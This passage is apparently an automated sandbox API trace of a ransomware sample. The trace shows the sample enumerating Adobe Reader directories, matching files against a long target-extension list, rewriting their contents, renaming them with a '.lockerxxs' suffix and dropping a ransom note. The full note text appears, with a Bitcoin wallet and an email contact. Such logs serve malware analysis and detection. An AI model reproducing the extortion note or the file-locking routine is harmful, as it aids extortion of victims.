pszSpec="*.dbx") returned 0 [0069.912] lstrlenA (lpString="*.dbx") returned 5 [0069.913] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.sql") returned 0 [0069.913] lstrlenA (lpString="*.sql") returned 5 [0069.913] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.mdb") returned 0 [0069.913] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html" [0069.913] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html" [0069.913] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html." [0069.913] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html.lockerxxs" [0069.913] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.913] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc60d [0069.913] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x81da7fe0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4)) returned 1 [0069.914] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.914] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc5e7, lpOverlapped=0x0) returned 1 [0069.916] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html") returned="license.html" [0069.916] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.916] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc5e7, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc5e7, lpOverlapped=0x0) returned 1 [0069.917] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.917] CloseHandle (hObject=0x94) returned 1 [0069.929] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\license.html.lockerxxs")) returned 1 [0069.930] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc60d, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0069.931] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0069.931] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="JPN", cAlternateFileName="")) returned 1 [0069.931] lstrcmpA (lpString1=".", lpString2="JPN") returned -1 [0069.931] lstrcmpA (lpString1="..", lpString2="JPN") returned -1 [0069.931] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0069.931] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="JPN" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN" [0069.931] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN") returned 57 [0069.931] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0069.933] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.933] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0069.933] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.933] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.933] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0069.933] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.933] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0069.933] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0069.933] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0069.933] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\*.*") returned="*.*" [0069.934] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\" [0069.934] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\") returned="" [0069.934] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\HOW TO DECRYPT FILES.txt" [0069.934] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\how to decrypt files.txt")) returned 0xffffffff [0069.934] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.935] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0069.935] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0069.936] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.937] CloseHandle (hObject=0x94) returned 1 [0069.937] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini" [0069.937] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.ems") returned 0 [0069.937] lstrlenA (lpString="*.ems") returned 5 [0069.937] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.db") returned 0 [0069.937] lstrlenA (lpString="*.db") returned 4 [0069.937] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.dbf") returned 0 [0069.937] lstrlenA (lpString="*.dbf") returned 5 [0069.937] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.myox") returned 0 [0069.937] lstrlenA (lpString="*.myox") returned 6 [0069.937] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.myo") returned 0 [0069.937] lstrlenA (lpString="*.myo") returned 5 [0069.938] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.qbw") returned 0 [0069.938] lstrlenA (lpString="*.qbw") returned 5 [0069.938] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.qbb") returned 0 [0069.938] lstrlenA (lpString="*.qbb") returned 5 [0069.938] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.qbm") returned 0 [0069.938] lstrlenA (lpString="*.qbm") returned 5 [0069.938] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.qbo") returned 0 [0069.938] lstrlenA (lpString="*.qbo") returned 5 [0069.938] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.qbx") returned 0 [0069.938] lstrlenA (lpString="*.qbx") returned 5 [0069.938] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.qba") returned 0 [0069.938] lstrlenA (lpString="*.qba") returned 5 [0069.938] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.qby") returned 0 [0069.938] lstrlenA (lpString="*.qby") returned 5 [0069.938] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.qbj") returned 0 [0069.938] lstrlenA (lpString="*.qbj") returned 5 [0069.938] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.ofx") returned 0 [0069.938] lstrlenA (lpString="*.ofx") returned 5 [0069.938] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.qif") returned 0 [0069.939] lstrlenA (lpString="*.qif") returned 5 [0069.939] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.mye") returned 0 [0069.939] lstrlenA (lpString="*.mye") returned 5 [0069.939] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.mbox") returned 0 [0069.939] lstrlenA (lpString="*.mbox") returned 6 [0069.939] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.eml") returned 0 [0069.939] lstrlenA (lpString="*.eml") returned 5 [0069.939] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.pst") returned 0 [0069.939] lstrlenA (lpString="*.pst") returned 5 [0069.939] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.ost") returned 0 [0069.939] lstrlenA (lpString="*.ost") returned 5 [0069.939] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.idx") returned 0 [0069.939] lstrlenA (lpString="*.idx") returned 5 [0069.939] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.dbx") returned 0 [0069.939] lstrlenA (lpString="*.dbx") returned 5 [0069.939] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.sql") returned 0 [0069.939] lstrlenA (lpString="*.sql") returned 5 [0069.939] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.mdb") returned 0 [0069.940] lstrlenA (lpString="*.mdb") returned 5 [0069.940] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.fdb") returned 0 [0069.940] lstrlenA (lpString="*.fdb") returned 5 [0069.940] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.wab") returned 0 [0069.940] lstrlenA (lpString="*.wab") returned 5 [0069.940] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.dat") returned 0 [0069.940] lstrlenA (lpString="*.dat") returned 5 [0069.940] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.txt") returned 0 [0069.940] lstrlenA (lpString="*.txt") returned 5 [0069.940] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.jpeg") returned 0 [0069.940] lstrlenA (lpString="*.jpeg") returned 6 [0069.940] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.jpg") returned 0 [0069.940] lstrlenA (lpString="*.jpg") returned 5 [0069.940] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.png") returned 0 [0069.940] lstrlenA (lpString="*.png") returned 5 [0069.940] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.php") returned 0 [0069.940] lstrlenA (lpString="*.php") returned 5 [0069.940] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.cs") returned 0 [0069.940] lstrlenA (lpString="*.cs") returned 4 [0069.940] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.cpp") returned 0 [0069.941] lstrlenA (lpString="*.cpp") returned 5 [0069.941] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.rar") returned 0 [0069.941] lstrlenA (lpString="*.rar") returned 5 [0069.941] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.zip") returned 0 [0069.941] lstrlenA (lpString="*.zip") returned 5 [0069.941] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.html") returned 0 [0069.941] lstrlenA (lpString="*.html") returned 6 [0069.941] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.htm") returned 0 [0069.941] lstrlenA (lpString="*.htm") returned 5 [0069.941] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.xlsx") returned 0 [0069.941] lstrlenA (lpString="*.xlsx") returned 6 [0069.941] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.xls") returned 0 [0069.941] lstrlenA (lpString="*.xls") returned 5 [0069.941] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.mp4") returned 0 [0069.941] lstrlenA (lpString="*.mp4") returned 5 [0069.941] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.ppt") returned 0 [0069.941] lstrlenA (lpString="*.ppt") returned 5 [0069.941] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.pptx") returned 0 [0069.942] lstrlenA (lpString="*.pptx") returned 6 [0069.942] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.doc") returned 0 [0069.942] lstrlenA (lpString="*.doc") returned 5 [0069.942] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.dot") returned 0 [0069.942] lstrlenA (lpString="*.dot") returned 5 [0069.942] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.docx") returned 0 [0069.942] lstrlenA (lpString="*.docx") returned 6 [0069.942] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.7z") returned 0 [0069.942] lstrlenA (lpString="*.7z") returned 4 [0069.942] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.tar") returned 0 [0069.942] lstrlenA (lpString="*.tar") returned 5 [0069.942] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.bz2") returned 0 [0069.942] lstrlenA (lpString="*.bz2") returned 5 [0069.942] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.gz") returned 0 [0069.942] lstrlenA (lpString="*.gz") returned 4 [0069.942] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.mkv") returned 0 [0069.942] lstrlenA (lpString="*.mkv") returned 5 [0069.942] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.eml") returned 0 [0069.942] lstrlenA (lpString="*.eml") returned 5 [0069.942] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.msg") returned 0 [0069.942] lstrlenA (lpString="*.msg") returned 5 [0069.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.edb") returned 0 [0069.943] lstrlenA (lpString="*.edb") returned 5 [0069.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.accdb") returned 0 [0069.943] lstrlenA (lpString="*.accdb") returned 7 [0069.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.odb") returned 0 [0069.943] lstrlenA (lpString="*.odb") returned 5 [0069.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.java") returned 0 [0069.943] lstrlenA (lpString="*.java") returned 6 [0069.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.asm") returned 0 [0069.943] lstrlenA (lpString="*.asm") returned 5 [0069.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.pfx") returned 0 [0069.943] lstrlenA (lpString="*.pfx") returned 5 [0069.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.pem") returned 0 [0069.943] lstrlenA (lpString="*.pem") returned 5 [0069.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.p12") returned 0 [0069.943] lstrlenA (lpString="*.p12") returned 5 [0069.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.gpg") returned 0 [0069.943] lstrlenA (lpString="*.gpg") returned 5 [0069.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.vsd") returned 0 [0069.943] lstrlenA (lpString="*.vsd") returned 5 [0069.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.odg") returned 0 [0069.944] lstrlenA (lpString="*.odg") returned 5 [0069.944] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.raw") returned 0 [0069.944] lstrlenA (lpString="*.raw") returned 5 [0069.944] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.nef") returned 0 [0069.944] lstrlenA (lpString="*.nef") returned 5 [0069.944] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.svg") returned 0 [0069.944] lstrlenA (lpString="*.svg") returned 5 [0069.944] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.psd") returned 0 [0069.944] lstrlenA (lpString="*.psd") returned 5 [0069.944] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.vmx") returned 0 [0069.944] lstrlenA (lpString="*.vmx") returned 5 [0069.944] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.vmdk") returned 0 [0069.944] lstrlenA (lpString="*.vmdk") returned 6 [0069.944] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.vdi") returned 0 [0069.944] lstrlenA (lpString="*.vdi") returned 5 [0069.944] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.lay6") returned 0 [0069.944] lstrlenA (lpString="*.lay6") returned 6 [0069.944] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.mpeg") returned 0 [0069.944] lstrlenA (lpString="*.mpeg") returned 6 [0069.944] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 